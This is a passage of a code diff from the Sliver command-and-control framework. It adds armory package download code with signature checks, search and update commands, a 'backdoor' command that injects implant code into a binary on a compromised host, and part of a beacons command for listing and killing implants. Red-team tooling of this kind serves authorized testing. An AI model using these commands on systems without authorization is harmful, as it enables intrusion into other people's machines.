along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
armoryIndexFileName = "armory.json"
|
||||
armoryIndexSigFileName = "armory.minisig"
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
indexResp := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, indexResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
|
||||
if !valid {
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Size int `json:"size"`
|
||||
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
}
|
||||
|
||||
type GithubRelease struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
HTMLURL string `json:"html_url"`
|
||||
TagName string `json:"tag_name"`
|
||||
Body string `json:"body"`
|
||||
Prerelease bool `json:"prerelease"`
|
||||
TarballURL string `json:"tarball_url"`
|
||||
ZipballURL string `json:"zipball_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
PublishedAt string `json:"published_at"`
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(releases) < 1 {
|
||||
return nil, errors.New("no releases found")
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var armoryIndexData []byte
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
sig, err = parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
defer latestRedirect.Body.Close()
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(sig.TrustedComment) < 1 {
|
||||
return nil, errors.New("missing trusted comment")
|
||||
}
|
||||
return &sig, nil
|
||||
}
|
||||
|
||||
func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
}
|
||||
nameExpr, err := regexp.Compile(rawNameExpr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid regular expression: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
matchedAliases = append(matchedAliases, a)
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
|
||||
return
|
||||
}
|
||||
PrintArmoryPackages(matchedAliases, matchedExts, con)
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := alias.ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := extensions.ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Backdoor
|
||||
========
|
||||
|
||||
Implements command related to `backdoor`
|
||||
@@ -0,0 +1,66 @@
|
||||
package backdoor
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remoteFilePath := ctx.Args.String("remote-file")
|
||||
if remoteFilePath == "" {
|
||||
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if backdoor.Response != nil && backdoor.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", backdoor.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Beacons
|
||||
========
|
||||
|
||||
This package implements the beacons command, which can be used to list and interact with beacons.
|
||||
@@ -0,0 +1,200 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
beacon, err := GetBeacon(con, killFlag)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
|
||||
if killAll {
|
||||
beacons, err := GetBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
